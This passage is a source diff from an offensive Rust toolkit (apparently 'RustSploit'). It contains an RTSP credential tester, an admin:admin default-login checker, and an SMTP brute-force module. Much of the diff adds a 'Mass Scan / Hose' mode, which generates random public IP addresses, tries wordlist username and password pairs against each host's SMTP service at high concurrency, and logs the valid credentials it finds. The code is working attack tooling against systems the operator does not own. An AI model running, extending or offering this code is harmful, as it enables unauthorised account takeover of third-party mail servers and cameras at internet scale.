if addrs.is_empty() {
|
||||
Err(anyhow!("No addresses found for '{}'", host_port))
|
||||
} else {
|
||||
Ok(addrs)
|
||||
}
|
||||
}
|
||||
|
||||
/// Attempt RTSP login, trying each resolved address until one succeeds or all fail.
|
||||
async fn try_rtsp_login(
|
||||
addrs: &[SocketAddr],
|
||||
addr_display: &str,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
path: &str,
|
||||
method: Option<&str>,
|
||||
extra_headers: &[String],
|
||||
) -> Result<bool> {
|
||||
let mut last_err = None;
|
||||
let mut stream = None;
|
||||
let mut connected_sa: Option<SocketAddr> = None;
|
||||
|
||||
// Try each candidate address
|
||||
for sa in addrs {
|
||||
match TcpStream::connect(*sa).await {
|
||||
Ok(s) => {
|
||||
stream = Some(s);
|
||||
connected_sa = Some(*sa);
|
||||
break;
|
||||
}
|
||||
Err(e) => {
|
||||
last_err = Some(e);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Unwrap the successful connection and SocketAddr
|
||||
let (mut stream, sa) = match (stream, connected_sa) {
|
||||
(Some(s), Some(sa)) => (s, sa),
|
||||
_ => {
|
||||
return Err(anyhow!(
|
||||
"All connection attempts to {} failed: {}",
|
||||
addr_display,
|
||||
last_err.map(|e| e.to_string()).unwrap_or_default()
|
||||
))
|
||||
}
|
||||
};
|
||||
|
||||
// Build a proper host:port string for the RTSP URI, handling IPv6 correctly
|
||||
let ip_str = sa.ip().to_string();
|
||||
let host_for_uri = if ip_str.contains(':') {
|
||||
format!("[{}]:{}", ip_str, sa.port())
|
||||
} else {
|
||||
format!("{}:{}", ip_str, sa.port())
|
||||
};
|
||||
|
||||
let rtsp_method = method.unwrap_or("OPTIONS");
|
||||
let path_str = if path.is_empty() { "" } else { path };
|
||||
let credentials = Base64.encode(format!("{}:{}", user, pass));
|
||||
|
||||
let mut request = format!(
|
||||
"{method} rtsp://{host}/{path} RTSP/1.0\r\nCSeq: 1\r\nAuthorization: Basic {auth}\r\n",
|
||||
method = rtsp_method,
|
||||
host = host_for_uri,
|
||||
path = path_str.trim_start_matches('/'),
|
||||
auth = credentials,
|
||||
);
|
||||
|
||||
for header in extra_headers {
|
||||
request.push_str(header);
|
||||
if !header.ends_with("\r\n") {
|
||||
request.push_str("\r\n");
|
||||
}
|
||||
}
|
||||
request.push_str("\r\n");
|
||||
|
||||
stream.write_all(request.as_bytes()).await?;
|
||||
let mut buffer = [0u8; 2048];
|
||||
let n = stream.read(&mut buffer).await?;
|
||||
if n == 0 {
|
||||
return Err(anyhow!("{}: server closed connection unexpectedly.", addr_display));
|
||||
}
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
|
||||
if response.contains("200 OK") {
|
||||
Ok(true)
|
||||
} else if response.contains("401") || response.contains("403") {
|
||||
Ok(false)
|
||||
} else {
|
||||
Err(anyhow!("{}: unexpected RTSP response:\n{}", addr_display, response))
|
||||
}
|
||||
}
|
||||
|
||||
fn normalize_target_input(target: &str, default_port: u16) -> Result<(String, Option<String>)> {
|
||||
let trimmed = target.trim();
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Target cannot be empty."));
|
||||
}
|
||||
|
||||
let without_scheme = trimmed.strip_prefix("rtsp://").unwrap_or(trimmed);
|
||||
let (host_part, path_part) = if let Some((host, path)) = without_scheme.split_once('/') {
|
||||
(host.trim(), Some(path.to_string()))
|
||||
} else {
|
||||
(without_scheme.trim(), None)
|
||||
};
|
||||
|
||||
if host_part.is_empty() {
|
||||
return Err(anyhow!("Target host cannot be empty."));
|
||||
}
|
||||
|
||||
let normalized_host = if host_part.starts_with('[') {
|
||||
if host_part.contains("]:") {
|
||||
host_part.to_string()
|
||||
} else {
|
||||
format!("{}:{}", host_part, default_port)
|
||||
}
|
||||
} else {
|
||||
let colon_count = host_part.matches(':').count();
|
||||
if colon_count == 0 {
|
||||
format!("{}:{}", host_part, default_port)
|
||||
} else if colon_count == 1 {
|
||||
if let Some((host_only, port_str)) = host_part.rsplit_once(':') {
|
||||
if port_str.parse::<u16>().is_ok() {
|
||||
if host_only.contains(':') {
|
||||
format!("[{}]:{}", host_only, port_str)
|
||||
} else {
|
||||
host_part.to_string()
|
||||
}
|
||||
} else {
|
||||
format!("{}:{}", host_part, default_port)
|
||||
}
|
||||
} else {
|
||||
format!("{}:{}", host_part, default_port)
|
||||
}
|
||||
} else {
|
||||
format!("[{}]:{}", host_part, default_port)
|
||||
}
|
||||
};
|
||||
|
||||
let normalized_path = path_part.and_then(|p| {
|
||||
let truncated = p.split(|c| c == '?' || c == '#').next().unwrap_or_default();
|
||||
let trimmed = truncated.trim();
|
||||
if trimmed.is_empty() || trimmed == "/" {
|
||||
None
|
||||
} else {
|
||||
let mut path = trimmed.to_string();
|
||||
if !path.starts_with('/') {
|
||||
path.insert(0, '/');
|
||||
}
|
||||
Some(path)
|
||||
}
|
||||
});
|
||||
|
||||
Ok((normalized_host, normalized_path))
|
||||
}
|
||||
|
||||
// ─── Prompt and utility functions unchanged ───────────────────────────────────
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}", format!("{}: ", msg).cyan().bold());
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
}
|
||||
println!("{}", "This field is required.".yellow());
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() { default.to_string() } else { trimmed.to_string() })
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{}", format!("{} (y/n) [{}]: ", msg, default).cyan().bold());
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
match s.trim().to_lowercase().as_str() {
|
||||
"" => return Ok(default_yes),
|
||||
"y" | "yes" => return Ok(true),
|
||||
"n" | "no" => return Ok(false),
|
||||
_ => println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path)?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.map(|l| l.trim().to_string())
|
||||
.filter(|l| !l.is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input: &str) -> PathBuf {
|
||||
let name = Path::new(input)
|
||||
.file_name()
|
||||
.unwrap_or_default()
|
||||
.to_string_lossy()
|
||||
.to_string();
|
||||
PathBuf::from(format!("./{}", name))
|
||||
}
|
||||
@@ -1,14 +1,32 @@
|
||||
use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use reqwest;
|
||||
use std::time::Duration;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Sample Default Credential Checker ║".cyan());
|
||||
println!("{}", "║ HTTP Basic Auth Test Module ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// A sample credential check - tries a basic auth login
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[*] Checking default creds on: {}", target);
|
||||
display_banner();
|
||||
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!("{}", "[*] Checking default credentials (admin:admin)...".cyan());
|
||||
println!();
|
||||
|
||||
let url = format!("http://{}/login", target);
|
||||
let client = reqwest::Client::new();
|
||||
let client = reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
// Hypothetical login using "admin:admin"
|
||||
let resp = client
|
||||
.post(&url)
|
||||
.basic_auth("admin", Some("admin"))
|
||||
@@ -17,9 +35,9 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.context("Failed to send login request")?;
|
||||
|
||||
if resp.status().is_success() {
|
||||
println!("[+] Default credentials admin:admin are valid!");
|
||||
println!("{}", "[+] Default credentials admin:admin are valid!".green().bold());
|
||||
} else {
|
||||
println!("[-] Default credentials admin:admin failed.");
|
||||
println!("{}", "[-] Default credentials admin:admin failed.".yellow());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
|
||||
@@ -1,16 +1,42 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::Colorize;
|
||||
use regex::Regex;
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::io::{self, BufRead, BufReader, Write};
|
||||
use std::net::{TcpStream, ToSocketAddrs};
|
||||
use std::path::Path;
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use colored::*;
|
||||
use std::net::{ToSocketAddrs, IpAddr, SocketAddr};
|
||||
use std::net::TcpStream;
|
||||
use std::sync::{
|
||||
atomic::{AtomicBool, AtomicUsize, Ordering},
|
||||
Arc,
|
||||
};
|
||||
use std::time::Duration;
|
||||
use tokio::sync::{Mutex, Semaphore};
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use telnet::{Telnet, Event};
|
||||
use threadpool::ThreadPool;
|
||||
use crossbeam_channel::unbounded;
|
||||
use base64::{engine::general_purpose, Engine as _};
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use tokio::fs::OpenOptions;
|
||||
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_existing_file, prompt_int_range,
|
||||
load_lines, prompt_default,
|
||||
};
|
||||
use crate::modules::creds::utils::{BruteforceStats, generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions};
|
||||
|
||||
const STATE_FILE: &str = "smtp_hose_state.log";
|
||||
const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000;
|
||||
|
||||
// Hardcoded exclusions
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
// Cloudflare
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32",
|
||||
// Google
|
||||
"8.8.8.8/32", "8.8.4.4/32"
|
||||
];
|
||||
|
||||
#[derive(Clone)]
|
||||
struct SmtpBruteforceConfig {
|
||||
@@ -22,17 +48,77 @@ struct SmtpBruteforceConfig {
|
||||
stop_on_success: bool,
|
||||
verbose: bool,
|
||||
full_combo: bool,
|
||||
output_file: String,
|
||||
delay_ms: u64,
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\n=== SMTP Bruteforce ===\n");
|
||||
let port = prompt_port(25);
|
||||
let username_wordlist = prompt_wordlist("Username wordlist file: ")?;
|
||||
let password_wordlist = prompt_wordlist("Password wordlist file: ")?;
|
||||
let threads = prompt_threads(8);
|
||||
let stop_on_success = prompt_yes_no("Stop on first valid login?", true);
|
||||
let full_combo = prompt_yes_no("Try every username with every password?", false);
|
||||
let verbose = prompt_yes_no("Verbose mode?", false);
|
||||
println!("\n{}", "=== SMTP Bruteforce Module (RustSploit) ===".bold().cyan());
|
||||
println!();
|
||||
|
||||
// Check for Mass Scan Mode conditions
|
||||
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
|
||||
|
||||
if is_mass_scan {
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
return run_mass_scan(target).await;
|
||||
}
|
||||
|
||||
// --- Standard Single Target Logic ---
|
||||
|
||||
// Check for API-provided config
|
||||
let config_api = crate::config::get_module_config();
|
||||
let api_mode = config_api.is_api_mode();
|
||||
|
||||
let port = if let Some(p) = config_api.port {
|
||||
p
|
||||
} else if api_mode {
|
||||
25
|
||||
} else {
|
||||
prompt_int_range("Port", 25, 1, 65535)? as u16
|
||||
};
|
||||
|
||||
let username_wordlist = if let Some(ref f) = config_api.username_wordlist {
|
||||
if !std::path::Path::new(f).exists() {
|
||||
return Err(anyhow!("Username wordlist not found: {}", f));
|
||||
}
|
||||
f.clone()
|
||||
} else if api_mode {
|
||||
return Err(anyhow!("Username wordlist required for API mode"));
|
||||
} else {
|
||||
prompt_existing_file("Username wordlist file")?
|
||||
};
|
||||
|
||||
let password_wordlist = if let Some(ref f) = config_api.password_wordlist {
|
||||
if !std::path::Path::new(f).exists() {
|
||||
return Err(anyhow!("Password wordlist not found: {}", f));
|
||||
}
|
||||
f.clone()
|
||||
} else if api_mode {
|
||||
return Err(anyhow!("Password wordlist required for API mode"));
|
||||
} else {
|
||||
prompt_existing_file("Password wordlist file")?
|
||||
};
|
||||
|
||||
let threads = config_api.concurrency.unwrap_or_else(|| {
|
||||
if api_mode { 8 } else { prompt_int_range("Threads", 8, 1, 256).unwrap_or(8) as usize }
|
||||
});
|
||||
let delay_ms = if api_mode { 50 } else { prompt_int_range("Delay (ms)", 50, 0, 10000).unwrap_or(50) as u64 };
|
||||
|
||||
let stop_on_success = config_api.stop_on_success.unwrap_or_else(|| {
|
||||
if api_mode { true } else { prompt_yes_no("Stop on first valid login?", true).unwrap_or(true) }
|
||||
});
|
||||
let full_combo = config_api.combo_mode.unwrap_or_else(|| {
|
||||
if api_mode { false } else { prompt_yes_no("Try every username with every password?", false).unwrap_or(false) }
|
||||
});
|
||||
let verbose = config_api.verbose.unwrap_or_else(|| {
|
||||
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
|
||||
});
|
||||
let output_file = config_api.output_file.clone().unwrap_or_else(|| {
|
||||
if api_mode { "smtp_results.txt".to_string() } else { prompt_default("Output file for results", "smtp_results.txt").unwrap_or_else(|_| "smtp_results.txt".to_string()) }
|
||||
});
|
||||
|
||||
let config = SmtpBruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
@@ -42,255 +128,449 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
stop_on_success,
|
||||
verbose,
|
||||
full_combo,
|
||||
output_file,
|
||||
delay_ms,
|
||||
};
|
||||
run_smtp_bruteforce(config)
|
||||
|
||||
if !api_mode {
|
||||
println!();
|
||||
}
|
||||
run_smtp_bruteforce(config).await
|
||||
}
|
||||
|
||||
fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
|
||||
let addr = normalize_target(&config.target, config.port)?;
|
||||
let usernames = read_lines(&config.username_wordlist)?;
|
||||
let passwords = read_lines(&config.password_wordlist)?;
|
||||
if usernames.is_empty() || passwords.is_empty() {
|
||||
return Err(anyhow!("Username or password wordlist is empty."));
|
||||
}
|
||||
println!("[*] Loaded {} username(s).", usernames.len());
|
||||
println!("[*] Loaded {} password(s).", passwords.len());
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let pool = ThreadPool::new(config.threads);
|
||||
let (tx, rx) = unbounded();
|
||||
if config.full_combo {
|
||||
for u in &usernames { for p in &passwords { tx.send((u.clone(), p.clone()))?; } }
|
||||
} else if usernames.len() == 1 {
|
||||
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
|
||||
} else if passwords.len() == 1 {
|
||||
for u in &usernames { tx.send((u.clone(), passwords[0].clone()))?; }
|
||||
async fn run_mass_scan(target: &str) -> Result<()> {
|
||||
// Get API config
|
||||
let config = crate::config::get_module_config();
|
||||
let api_mode = config.is_api_mode();
|
||||
|
||||
// Prep - use API config or prompt
|
||||
let port = config.port.unwrap_or_else(|| {
|
||||
if api_mode { 25 } else { prompt_int_range("Port", 25, 1, 65535).unwrap_or(25) as u16 }
|
||||
});
|
||||
|
||||
let usernames_file = config.username_wordlist.clone().ok_or_else(|| {
|
||||
anyhow!("username_wordlist required")
|
||||
}).or_else(|_| {
|
||||
if api_mode { Err(anyhow!("username_wordlist required for API mode")) }
|
||||
else { prompt_existing_file("Username wordlist") }
|
||||
})?;
|
||||
|
||||
let passwords_file = config.password_wordlist.clone().ok_or_else(|| {
|
||||
anyhow!("password_wordlist required")
|
||||
}).or_else(|_| {
|
||||
if api_mode { Err(anyhow!("password_wordlist required for API mode")) }
|
||||
else { prompt_existing_file("Password wordlist") }
|
||||
})?;
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let pass_lines = load_lines(&passwords_file)?;
|
||||
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if pass_lines.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
let concurrency = config.concurrency.unwrap_or_else(|| {
|
||||
if api_mode { 500 } else { prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000).unwrap_or(500) as usize }
|
||||
});
|
||||
let verbose = config.verbose.unwrap_or_else(|| {
|
||||
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
|
||||
});
|
||||
let output_file = config.output_file.clone().unwrap_or_else(|| {
|
||||
if api_mode { "smtp_mass_results.txt".to_string() }
|
||||
else { prompt_default("Output result file", "smtp_mass_results.txt").unwrap_or_else(|_| "smtp_mass_results.txt".to_string()) }
|
||||
});
|
||||
|
||||
// In API mode, always exclude private ranges
|
||||
let use_exclusions = if api_mode { true } else { prompt_yes_no("Exclude reserved/private ranges?", true).unwrap_or(true) };
|
||||
|
||||
// Parse exclusions
|
||||
let exclusions = if use_exclusions {
|
||||
println!("{}", format!("[+] Loaded {} exclusion ranges", EXCLUDED_RANGES.len()).cyan());
|
||||
Arc::new(parse_exclusions(EXCLUDED_RANGES))
|
||||
} else {
|
||||
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
|
||||
}
|
||||
drop(tx);
|
||||
for _ in 0..config.threads {
|
||||
let rx = rx.clone();
|
||||
let addr = addr.clone();
|
||||
let stop_flag = Arc::clone(&stop_flag);
|
||||
let found = Arc::clone(&found);
|
||||
let config = config.clone();
|
||||
pool.execute(move || {
|
||||
while let Ok((user, pass)) = rx.recv() {
|
||||
if stop_flag.load(Ordering::Relaxed) { break; }
|
||||
if config.verbose { println!("[*] {}:{}", user, pass); }
|
||||
match try_smtp_login(&addr, &user, &pass) {
|
||||
Ok(true) => {
|
||||
println!("[+] VALID: {}:{}", user, pass);
|
||||
let mut creds = found.lock().unwrap(); creds.push((user.clone(), pass.clone()));
|
||||
if config.stop_on_success {
|
||||
stop_flag.store(true, Ordering::Relaxed);
|
||||
while rx.try_recv().is_ok() {}
|
||||
break;
|
||||
}
|
||||
}
|
||||
Ok(false) => {}
|
||||
Err(e) => if config.verbose { eprintln!("[!] {}:{}: {}", user, pass, e); },
|
||||
}
|
||||
Arc::new(Vec::new())
|
||||
};
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let stats_checked = Arc::new(AtomicUsize::new(0));
|
||||
let stats_found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let creds_pkg = Arc::new((users, pass_lines));
|
||||
|
||||
// Stats
|
||||
let s_checked = stats_checked.clone();
|
||||
let s_found = stats_found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(5)).await;
|
||||
println!(
|
||||
"[*] Status: {} IPs scanned, {} valid SMTP credentials found",
|
||||
s_checked.load(Ordering::Relaxed),
|
||||
s_found.load(Ordering::Relaxed).to_string().green().bold()
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
|
||||
|
||||
if run_random {
|
||||
println!("{}", "[*] Starting Random Internet Scan...".green());
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
|
||||
let exc = exclusions.clone();
|
||||
let cp = creds_pkg.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
if !is_ip_checked(&ip, STATE_FILE).await {
|
||||
mark_ip_checked(&ip, STATE_FILE).await;
|
||||
mass_scan_host(ip, port, cp, sf, of, verbose).await;
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
} else {
|
||||
// File Mode
|
||||
let content = match tokio::fs::read_to_string(target).await {
|
||||
Ok(c) => c,
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Failed to read target file: {}", e).red());
|
||||
return Ok(());
|
||||
}
|
||||
});
|
||||
}
|
||||
pool.join();
|
||||
let found = found.lock().unwrap();
|
||||
if found.is_empty() {
|
||||
println!("[-] No valid credentials.");
|
||||
} else {
|
||||
println!("[+] Found:");
|
||||
for (u,p) in found.iter() { println!("{}:{}", u, p); }
|
||||
if prompt("Save found? (y/n): ").trim().eq_ignore_ascii_case("y") {
|
||||
let f = prompt("Filename: ");
|
||||
save_results(&f, &found)?;
|
||||
println!("[+] Saved to {}", f);
|
||||
};
|
||||
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
|
||||
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
|
||||
|
||||
for ip_str in lines {
|
||||
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
|
||||
let cp = creds_pkg.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
if let Ok(ip) = ip_str.parse::<IpAddr>() {
|
||||
tokio::spawn(async move {
|
||||
if !is_ip_checked(&ip, STATE_FILE).await {
|
||||
mark_ip_checked(&ip, STATE_FILE).await;
|
||||
mass_scan_host(ip, port, cp, sf, of, verbose).await;
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
} else {
|
||||
drop(permit);
|
||||
}
|
||||
}
|
||||
for _ in 0..concurrency {
|
||||
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Try login with both AUTH PLAIN and AUTH LOGIN, returns Ok(true) if success, Ok(false) if auth fail, Err on connection/protocol error.
|
||||
fn try_smtp_login(addr: &str, username: &str, password: &str) -> Result<bool> {
|
||||
use base64::{engine::general_purpose, Engine as _};
|
||||
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
|
||||
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(1500)).context("Connect timeout")?;
|
||||
stream.set_read_timeout(Some(Duration::from_millis(1500))).ok();
|
||||
stream.set_write_timeout(Some(Duration::from_millis(1500))).ok();
|
||||
let mut telnet = Telnet::from_stream(Box::new(stream), 256);
|
||||
async fn mass_scan_host(
|
||||
ip: IpAddr,
|
||||
port: u16,
|
||||
creds: Arc<(Vec<String>, Vec<String>)>,
|
||||
stats_found: Arc<AtomicUsize>,
|
||||
output_file: String,
|
||||
verbose: bool
|
||||
) {
|
||||
let sa = SocketAddr::new(ip, port);
|
||||
|
||||
// 1. Connection Check
|
||||
if tokio::time::timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), tokio::net::TcpStream::connect(&sa)).await.is_err() {
|
||||
return;
|
||||
}
|
||||
|
||||
let (users, passes) = &*creds;
|
||||
|
||||
// 2. Bruteforce
|
||||
// Reuse existing blocking sync function inside spawn_blocking?
|
||||
// The existing function uses std::net::TcpStream blocking.
|
||||
// That's fine for small lists, but suboptimal for high concurrency.
|
||||
// However, since we are inside a spawned tokio task, spawn_blocking is appropriate.
|
||||
|
||||
let target_str = ip.to_string();
|
||||
|
||||
for user in users {
|
||||
for pass in passes {
|
||||
let t_target = target_str.clone();
|
||||
let t_user = user.clone();
|
||||
let t_pass = pass.clone();
|
||||
let t_port = port;
|
||||
|
||||
let t_target_inner = t_target.clone();
|
||||
let t_user_inner = t_user.clone();
|
||||
let t_pass_inner = t_pass.clone();
|
||||
|
||||
// Blocking call for the actual SMTP interaction (since it uses blocking Telnet/TcpStream)
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
try_smtp_login(&t_target_inner, t_port, &t_user_inner, &t_pass_inner)
|
||||
}).await;
|
||||
|
||||
match res {
|
||||
Ok(Ok(true)) => {
|
||||
let msg = format!("{} -> {}:{}", t_target, t_user, t_pass);
|
||||
println!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
|
||||
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
|
||||
let _ = file.write_all(format!("{}\n", msg).as_bytes()).await;
|
||||
}
|
||||
stats_found.fetch_add(1, Ordering::Relaxed);
|
||||
return; // Stop after first success
|
||||
}
|
||||
Ok(Ok(false)) => {
|
||||
if verbose {
|
||||
// Auth failed
|
||||
}
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
// Connection error
|
||||
let err = e.to_string().to_lowercase();
|
||||
if err.contains("refused") || err.contains("timeout") || err.contains("reset") {
|
||||
return; // Stop scanning host
|
||||
}
|
||||
}
|
||||
Err(_) => {
|
||||
// Start/Join error
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
|
||||
let usernames = load_lines(&config.username_wordlist)?;
|
||||
let passwords = load_lines(&config.password_wordlist)?;
|
||||
|
||||
let total_attempts = if config.full_combo {
|
||||
usernames.len() * passwords.len()
|
||||
} else {
|
||||
std::cmp::max(usernames.len(), passwords.len())
|
||||
};
|
||||
|
||||
println!("[*] Loaded {} usernames, {} passwords", usernames.len(), passwords.len());
|
||||
println!("[*] Total attempts: {}", total_attempts);
|
||||
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
let found_creds = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_signal = Arc::new(AtomicBool::new(false));
|
||||
let _start_time = std::time::Instant::now();
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop_signal.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
while !stop_clone.load(Ordering::Relaxed) {
|
||||
tokio::time::sleep(Duration::from_secs(2)).await;
|
||||
stats_clone.print_progress();
|
||||
}
|
||||
});
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(config.threads));
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
// Generate combinations
|
||||
let mut combos = Vec::new();
|
||||
if config.full_combo {
|
||||
for u in &usernames {
|
||||
for p in &passwords {
|
||||
combos.push((u.clone(), p.clone()));
|
||||
}
|
||||
}
|
||||
} else {
|
||||
let max_len = std::cmp::max(usernames.len(), passwords.len());
|
||||
for i in 0..max_len {
|
||||
let u = &usernames[i % usernames.len()];
|
||||
let p = &passwords[i % passwords.len()];
|
||||
combos.push((u.clone(), p.clone()));
|
||||
}
|
||||
}
|
||||
|
||||
// Process combinations
|
||||
for (user, pass) in combos {
|
||||
if config.stop_on_success && stop_signal.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
let config_clone = config.clone();
|
||||
let stats_clone = stats.clone();
|
||||
let found_clone = found_creds.clone();
|
||||
let stop_signal_clone = stop_signal.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
|
||||
if config_clone.stop_on_success && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Wrap blocking logic
|
||||
let config_inner = config_clone.clone();
|
||||
let user_inner = user_clone.clone();
|
||||
let pass_inner = pass_clone.clone();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
match try_smtp_login(&config_inner.target, config_inner.port, &user_inner, &pass_inner) {
|
||||
Ok(true) => Ok(true),
|
||||
Ok(false) => Ok(false),
|
||||
Err(e) => Err(e),
|
||||
}
|
||||
}).await;
|
||||
|
||||
match res {
|
||||
Ok(Ok(true)) => {
|
||||
println!("\r{}", format!("[+] Found: {}:{}", user_clone, pass_clone).green().bold());
|
||||
found_clone.lock().await.push((user_clone.clone(), pass_clone.clone()));
|
||||
stats_clone.record_success();
|
||||
if config_clone.stop_on_success {
|
